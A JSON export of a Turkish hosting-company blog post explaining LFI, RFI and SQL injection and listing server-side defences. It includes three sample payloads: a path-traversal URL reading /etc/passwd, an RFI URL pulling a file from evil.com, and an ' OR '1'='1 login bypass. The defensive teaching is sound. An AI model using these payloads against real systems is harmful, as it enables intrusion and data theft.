{"id":23200,"date":"2025-04-22T08:35:14","date_gmt":"2025-04-22T05:35:14","guid":{"rendered":"https:\/\/www.cenuta.com\/blog\/?p=23200"},"modified":"2025-04-22T08:35:16","modified_gmt":"2025-04-22T05:35:16","slug":"lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi","status":"publish","type":"post","link":"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/","title":{"rendered":"LFI, RFI, SQL Injection Gibi Zafiyetlere Kar\u015f\u0131 Sunucu G\u00fcvenli\u011fi"},"content":{"rendered":"\n<p>Web uygulamalar\u0131n\u0131n g\u00fcvenli\u011fi, sadece yaz\u0131l\u0131m katman\u0131nda de\u011fil, ayn\u0131 zamanda sunucu taraf\u0131nda da s\u0131k\u0131 \u00f6nlemler al\u0131nmas\u0131n\u0131 gerektirir. Local File Inclusion (LFI), Remote File Inclusion (RFI) ve SQL Injection gibi sald\u0131r\u0131lar, sistemlerin zaaflar\u0131n\u0131 hedef alarak hem veri ihlallerine hem de sistem kontrol\u00fcn\u00fcn ele ge\u00e7irilmesine neden olabilir. Bu makalede, s\u00f6z konusu zafiyetlerin ne oldu\u011fu, nas\u0131l \u00e7al\u0131\u015ft\u0131\u011f\u0131 ve bu zafiyetlere kar\u015f\u0131 al\u0131nabilecek sunucu tabanl\u0131 g\u00fcvenlik \u00f6nlemleri detayl\u0131 \u015fekilde ele al\u0131nmaktad\u0131r.<\/p>\n\n\n\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_71 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">\u0130\u00e7indekiler<\/p>\n<label for=\"ez-toc-cssicon-toggle-item-6a20abe7a5064\" class=\"ez-toc-cssicon-toggle-label\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/label><input type=\"checkbox\"  id=\"ez-toc-cssicon-toggle-item-6a20abe7a5064\"  aria-label=\"Toggle\" \/><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#LFI_Local_File_Inclusion_Nedir\" title=\"LFI (Local File Inclusion) Nedir?\">LFI (Local File Inclusion) Nedir?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#LFI_Saldirisinin_Tipik_Kullanimi\" title=\"LFI Sald\u0131r\u0131s\u0131n\u0131n Tipik Kullan\u0131m\u0131\">LFI Sald\u0131r\u0131s\u0131n\u0131n Tipik Kullan\u0131m\u0131<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#LFIye_Karsi_Alinmasi_Gereken_Onlemler\" title=\"LFI&#8217;ye Kar\u015f\u0131 Al\u0131nmas\u0131 Gereken \u00d6nlemler\">LFI&#8217;ye Kar\u015f\u0131 Al\u0131nmas\u0131 Gereken \u00d6nlemler<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#RFI_Remote_File_Inclusion_Nedir\" title=\"RFI (Remote File Inclusion) Nedir?\">RFI (Remote File Inclusion) Nedir?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#RFI_Saldirisinin_Tipik_Kullanimi\" title=\"RFI Sald\u0131r\u0131s\u0131n\u0131n Tipik Kullan\u0131m\u0131\">RFI Sald\u0131r\u0131s\u0131n\u0131n Tipik Kullan\u0131m\u0131<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#RFIye_Karsi_Sunucu_Tarafli_Guvenlik_Onlemleri\" title=\"RFI&#8217;ye Kar\u015f\u0131 Sunucu Tarafl\u0131 G\u00fcvenlik \u00d6nlemleri\">RFI&#8217;ye Kar\u015f\u0131 Sunucu Tarafl\u0131 G\u00fcvenlik \u00d6nlemleri<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#SQL_Injection_Nedir\" title=\"SQL Injection Nedir?\">SQL Injection Nedir?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#SQL_Injection_Saldirisinin_Ornegi\" title=\"SQL Injection Sald\u0131r\u0131s\u0131n\u0131n \u00d6rne\u011fi\">SQL Injection Sald\u0131r\u0131s\u0131n\u0131n \u00d6rne\u011fi<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#SQL_Injectiona_Karsi_Alinmasi_Gereken_Onlemler\" title=\"SQL Injection\u2019a Kar\u015f\u0131 Al\u0131nmas\u0131 Gereken \u00d6nlemler\">SQL Injection\u2019a Kar\u015f\u0131 Al\u0131nmas\u0131 Gereken \u00d6nlemler<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#Sunucu_Tarafinda_Genel_Guvenlik_Onlemleri\" title=\"Sunucu Taraf\u0131nda Genel G\u00fcvenlik \u00d6nlemleri\">Sunucu Taraf\u0131nda Genel G\u00fcvenlik \u00d6nlemleri<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#1_Dosya_ve_Dizin_Izinleri\" title=\"1. Dosya ve Dizin \u0130zinleri\">1. Dosya ve Dizin \u0130zinleri<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#2_Web_Uygulama_Guvenlik_Duvari_WAF\" title=\"2. Web Uygulama G\u00fcvenlik Duvar\u0131 (WAF)\">2. Web Uygulama G\u00fcvenlik Duvar\u0131 (WAF)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#3_Guncellemelerin_Takibi_ve_Yama_Yonetimi\" title=\"3. G\u00fcncellemelerin Takibi ve Yama Y\u00f6netimi\">3. G\u00fcncellemelerin Takibi ve Yama Y\u00f6netimi<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#4_Loglama_ve_Izleme\" title=\"4. Loglama ve \u0130zleme\">4. Loglama ve \u0130zleme<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#5_Guvenli_Kodlama_Standartlari\" title=\"5. G\u00fcvenli Kodlama Standartlar\u0131\">5. G\u00fcvenli Kodlama Standartlar\u0131<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-16\" href=\"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#Sonuc\" title=\"Sonu\u00e7\">Sonu\u00e7<\/a><\/li><\/ul><\/nav><\/div>\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"LFI_Local_File_Inclusion_Nedir\"><\/span>LFI (Local File Inclusion) Nedir?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>LFI, sald\u0131rgan\u0131n hedef sistemdeki dosyalar\u0131 \u00e7a\u011f\u0131rmas\u0131na veya \u00e7al\u0131\u015ft\u0131rmas\u0131na olanak sa\u011flayan bir g\u00fcvenlik a\u00e7\u0131\u011f\u0131d\u0131r. Genellikle PHP tabanl\u0131 uygulamalarda g\u00f6r\u00fcl\u00fcr ve <code>include<\/code>, <code>require<\/code> gibi fonksiyonlar\u0131n kullan\u0131c\u0131 girdisiyle kontrols\u00fcz kullan\u0131lmas\u0131 durumunda ortaya \u00e7\u0131kar.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"LFI_Saldirisinin_Tipik_Kullanimi\"><\/span>LFI Sald\u0131r\u0131s\u0131n\u0131n Tipik Kullan\u0131m\u0131<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>http:&#047;&#047;example.com\/page.php?file=..\/..\/..\/..\/etc\/passwd\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"LFIye_Karsi_Alinmasi_Gereken_Onlemler\"><\/span>LFI&#8217;ye Kar\u015f\u0131 Al\u0131nmas\u0131 Gereken \u00d6nlemler<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>allow_url_include<\/code> ve <code>allow_url_fopen<\/code> direktiflerinin devre d\u0131\u015f\u0131 b\u0131rak\u0131lmas\u0131<\/li>\n\n\n\n<li>Dosya dahil etme i\u015flemlerinde sabit tan\u0131mlamalar (whitelisting) kullan\u0131lmas\u0131<\/li>\n\n\n\n<li>Kullan\u0131c\u0131 girdisinin sanitize ve validate edilmesi<\/li>\n\n\n\n<li>PHP&#8217;de <code>basename()<\/code> ve <code>realpath()<\/code> kontrollerinin entegre edilmesi<\/li>\n\n\n\n<li>Web sunucusu seviyesinde dosya eri\u015fim izinlerinin s\u0131n\u0131rland\u0131r\u0131lmas\u0131<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"RFI_Remote_File_Inclusion_Nedir\"><\/span>RFI (Remote File Inclusion) Nedir?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>RFI, uzak bir kaynaktan dosya \u00e7a\u011f\u0131rmaya ve \u00e7al\u0131\u015ft\u0131rmaya olanak sa\u011flayan bir g\u00fcvenlik zafiyetidir. LFI\u2019den farkl\u0131 olarak sald\u0131rgan\u0131n kendi kontrol\u00fcndeki bir sunucudan zararl\u0131 dosya \u00e7al\u0131\u015ft\u0131rmas\u0131 m\u00fcmk\u00fcnd\u00fcr.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"RFI_Saldirisinin_Tipik_Kullanimi\"><\/span>RFI Sald\u0131r\u0131s\u0131n\u0131n Tipik Kullan\u0131m\u0131<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>http:&#047;&#047;example.com\/page.php?file=http:\/\/evil.com\/malicious.txt\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"RFIye_Karsi_Sunucu_Tarafli_Guvenlik_Onlemleri\"><\/span>RFI&#8217;ye Kar\u015f\u0131 Sunucu Tarafl\u0131 G\u00fcvenlik \u00d6nlemleri<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>allow_url_fopen<\/code> ve <code>allow_url_include<\/code> de\u011ferlerinin <code>Off<\/code> yap\u0131lmas\u0131<\/li>\n\n\n\n<li>Sunucu taraf\u0131nda d\u0131\u015f URL\u2019lerin i\u00e7e aktar\u0131lmas\u0131n\u0131n engellenmesi<\/li>\n\n\n\n<li>Dosya i\u00e7eri\u011fi i\u015flemlerinde sadece yerel path\u2019lerin kullan\u0131lmas\u0131<\/li>\n\n\n\n<li>Web uygulama g\u00fcvenlik duvar\u0131 (WAF) ile \u015f\u00fcpheli URL parametrelerinin engellenmesi<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"SQL_Injection_Nedir\"><\/span>SQL Injection Nedir?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>SQL Injection, kullan\u0131c\u0131 giri\u015fleri arac\u0131l\u0131\u011f\u0131yla SQL sorgular\u0131n\u0131n manip\u00fcle edilmesini sa\u011flar. Bu zafiyet, veritaban\u0131na do\u011frudan m\u00fcdahale ile veri \u00e7al\u0131nmas\u0131na, g\u00fcncellenmesine veya silinmesine neden olabilir.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"SQL_Injection_Saldirisinin_Ornegi\"><\/span>SQL Injection Sald\u0131r\u0131s\u0131n\u0131n \u00d6rne\u011fi<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>SELECT * FROM users WHERE username = '$user' AND password = '$pass';\n<\/code><\/pre>\n\n\n\n<p>E\u011fer <code>$user<\/code> de\u011feri <code>' OR '1'='1<\/code> \u015feklinde girilirse t\u00fcm kullan\u0131c\u0131lar listelenebilir.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"SQL_Injectiona_Karsi_Alinmasi_Gereken_Onlemler\"><\/span>SQL Injection\u2019a Kar\u015f\u0131 Al\u0131nmas\u0131 Gereken \u00d6nlemler<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Haz\u0131r SQL sorgular\u0131 yerine parametreli (prepared) sorgular kullan\u0131lmal\u0131d\u0131r<\/li>\n\n\n\n<li>ORM (Object Relational Mapping) kullan\u0131m\u0131 tercih edilmelidir<\/li>\n\n\n\n<li>Kullan\u0131c\u0131 girdileri hem istemci hem sunucu taraf\u0131nda do\u011frulanmal\u0131d\u0131r<\/li>\n\n\n\n<li>Veritaban\u0131 kullan\u0131c\u0131lar\u0131na minimum yetki verilmelidir (\u00f6rne\u011fin sadece SELECT)<\/li>\n\n\n\n<li>SQL hatalar\u0131n\u0131n kullan\u0131c\u0131ya g\u00f6sterilmesi engellenmelidir (display_errors = Off)<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Sunucu_Tarafinda_Genel_Guvenlik_Onlemleri\"><\/span>Sunucu Taraf\u0131nda Genel G\u00fcvenlik \u00d6nlemleri<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"1_Dosya_ve_Dizin_Izinleri\"><\/span>1. Dosya ve Dizin \u0130zinleri<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Web dizinlerinde yaz\u0131labilir dosya b\u0131rak\u0131lmamal\u0131<\/li>\n\n\n\n<li><code>\/var\/www\/html<\/code> gibi dizinlerde sadece okunabilir ve \u00e7al\u0131\u015ft\u0131r\u0131labilir izinler tan\u0131mlanmal\u0131<\/li>\n\n\n\n<li><code>chmod<\/code>, <code>chown<\/code> ve <code>umask<\/code> ayarlar\u0131 d\u00fczenli kontrol edilmelidir<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"2_Web_Uygulama_Guvenlik_Duvari_WAF\"><\/span>2. Web Uygulama G\u00fcvenlik Duvar\u0131 (WAF)<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>ModSecurity gibi WAF sistemleri, bilinen LFI, RFI, SQL Injection imzalar\u0131n\u0131 tespit eder ve engeller<\/li>\n\n\n\n<li>WAF ile gelen t\u00fcm HTTP istekleri analiz edilerek \u015f\u00fcpheli davran\u0131\u015flar otomatik engellenebilir<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"3_Guncellemelerin_Takibi_ve_Yama_Yonetimi\"><\/span>3. G\u00fcncellemelerin Takibi ve Yama Y\u00f6netimi<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>PHP, MySQL, Apache\/Nginx gibi servisler d\u00fczenli olarak g\u00fcncellenmeli<\/li>\n\n\n\n<li>Yaz\u0131l\u0131m ba\u011f\u0131ml\u0131l\u0131klar\u0131nda kullan\u0131lan k\u00fct\u00fcphaneler (\u00f6rne\u011fin Composer paketleri) denetlenmelidir<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"4_Loglama_ve_Izleme\"><\/span>4. Loglama ve \u0130zleme<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Sunucu eri\u015fim loglar\u0131, PHP hata loglar\u0131 ve veritaban\u0131 loglar\u0131 d\u00fczenli incelenmelidir<\/li>\n\n\n\n<li>\u015e\u00fcpheli URL kullan\u0131mlar\u0131, \u00e7oklu hatal\u0131 oturum a\u00e7ma giri\u015fimleri gibi olaylar alarmlanmal\u0131d\u0131r<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"5_Guvenli_Kodlama_Standartlari\"><\/span>5. G\u00fcvenli Kodlama Standartlar\u0131<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>OWASP Top 10 listesine g\u00f6re g\u00fcvenli kodlama pratikleri uygulanmal\u0131<\/li>\n\n\n\n<li>Geli\u015ftiricilere periyodik g\u00fcvenlik e\u011fitimi verilmelidir<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Sonuc\"><\/span>Sonu\u00e7<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>LFI, RFI ve SQL Injection gibi yayg\u0131n zafiyetler, \u00e7o\u011fu zaman basit bir ihmal ya da yetersiz giri\u015f kontrol\u00fc nedeniyle b\u00fcy\u00fck g\u00fcvenlik a\u00e7\u0131klar\u0131na d\u00f6n\u00fc\u015febilir. Bu zafiyetlerin \u00f6nlenmesi, yaln\u0131zca kodlama d\u00fczeyinde de\u011fil, ayn\u0131 zamanda sunucu yap\u0131land\u0131rmas\u0131 ve g\u00fcvenlik politikalar\u0131n\u0131n b\u00fct\u00fcnc\u00fcl olarak ele al\u0131nmas\u0131 ile m\u00fcmk\u00fcnd\u00fcr. Web uygulamalar\u0131n\u0131n bar\u0131nd\u0131r\u0131ld\u0131\u011f\u0131 altyap\u0131, bu tehditlere kar\u015f\u0131 her an tetikte olacak \u015fekilde tasarlanmal\u0131 ve denetlenmelidir.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Web uygulamalar\u0131n\u0131n g\u00fcvenli\u011fi, sadece yaz\u0131l\u0131m katman\u0131nda de\u011fil, ayn\u0131 zamanda sunucu<a href=\"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/\">&#8230;<\/a><\/p>\n","protected":false},"author":4,"featured_media":23202,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[356,622],"class_list":["post-23200","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-sunucu","tag-guvenlik","tag-sunucu"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v18.1 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/\" \/>\n<meta property=\"og:locale\" content=\"tr_TR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"LFI, RFI, SQL Injection Gibi Zafiyetlere Kar\u015f\u0131 Sunucu G\u00fcvenli\u011fi - Cenuta Blog\" \/>\n<meta property=\"og:description\" content=\"Web uygulamalar\u0131n\u0131n g\u00fcvenli\u011fi, sadece yaz\u0131l\u0131m katman\u0131nda de\u011fil, ayn\u0131 zamanda sunucu...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/\" \/>\n<meta property=\"og:site_name\" content=\"Cenuta Blog\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/cenutacom\" \/>\n<meta property=\"article:published_time\" content=\"2025-04-22T05:35:14+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-04-22T05:35:16+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.cenuta.com\/blog\/wp-content\/uploads\/2025\/04\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1250\" \/>\n\t<meta property=\"og:image:height\" content=\"750\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@cenutacom\" \/>\n<meta name=\"twitter:site\" content=\"@cenutacom\" \/>\n<meta name=\"twitter:label1\" content=\"Yazan:\" \/>\n\t<meta name=\"twitter:data1\" content=\"\u00d6mer Y\u00fcksel\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tahmini okuma s\u00fcresi\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 dakika\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Organization\",\"@id\":\"https:\/\/www.cenuta.com\/blog\/#organization\",\"name\":\"Cenuta Telekom\u00fcnikasyon Anonim \u015eirketi\",\"url\":\"https:\/\/www.cenuta.com\/blog\/\",\"sameAs\":[\"https:\/\/www.facebook.com\/cenutacom\",\"https:\/\/www.instagram.com\/cenutacom\/\",\"https:\/\/www.linkedin.com\/company\/cenuta\",\"https:\/\/www.youtube.com\/cenuta\",\"https:\/\/twitter.com\/cenutacom\"],\"logo\":{\"@type\":\"ImageObject\",\"@id\":\"https:\/\/www.cenuta.com\/blog\/#logo\",\"inLanguage\":\"tr\",\"url\":\"https:\/\/www.cenuta.com\/blog\/wp-content\/uploads\/2020\/08\/logo_siyah.png\",\"contentUrl\":\"https:\/\/www.cenuta.com\/blog\/wp-content\/uploads\/2020\/08\/logo_siyah.png\",\"width\":805,\"height\":200,\"caption\":\"Cenuta Telekom\u00fcnikasyon Anonim \u015eirketi\"},\"image\":{\"@id\":\"https:\/\/www.cenuta.com\/blog\/#logo\"}},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.cenuta.com\/blog\/#website\",\"url\":\"https:\/\/www.cenuta.com\/blog\/\",\"name\":\"Cenuta Blog\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\/\/www.cenuta.com\/blog\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.cenuta.com\/blog\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"tr\"},{\"@type\":\"ImageObject\",\"@id\":\"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#primaryimage\",\"inLanguage\":\"tr\",\"url\":\"https:\/\/www.cenuta.com\/blog\/wp-content\/uploads\/2025\/04\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi.jpg\",\"contentUrl\":\"https:\/\/www.cenuta.com\/blog\/wp-content\/uploads\/2025\/04\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi.jpg\",\"width\":1250,\"height\":750},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#webpage\",\"url\":\"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/\",\"name\":\"LFI, RFI, SQL Injection Gibi Zafiyetlere Kar\u015f\u0131 Sunucu G\u00fcvenli\u011fi - Cenuta Blog\",\"isPartOf\":{\"@id\":\"https:\/\/www.cenuta.com\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#primaryimage\"},\"datePublished\":\"2025-04-22T05:35:14+00:00\",\"dateModified\":\"2025-04-22T05:35:16+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#breadcrumb\"},\"inLanguage\":\"tr\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Ana sayfa\",\"item\":\"https:\/\/www.cenuta.com\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"LFI, RFI, SQL Injection Gibi Zafiyetlere Kar\u015f\u0131 Sunucu G\u00fcvenli\u011fi\"}]},{\"@type\":\"Article\",\"@id\":\"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.cenuta.com\/blog\/lfi-rfi-sql-injection-gibi-zafiyetlere-karsi-sunucu-guvenligi\/#webpage\"},\"author\":{\"@id\":\"https:\/\/www.cenuta.com\/blog\/#\/schema\/person\/c3f8b14a9a6acaea989a4fe54816fcb4\"},\"headline\":\"LFI, RFI, SQL Injection Gibi Zafiyetlere Kar\u015f\u0131 Sunucu 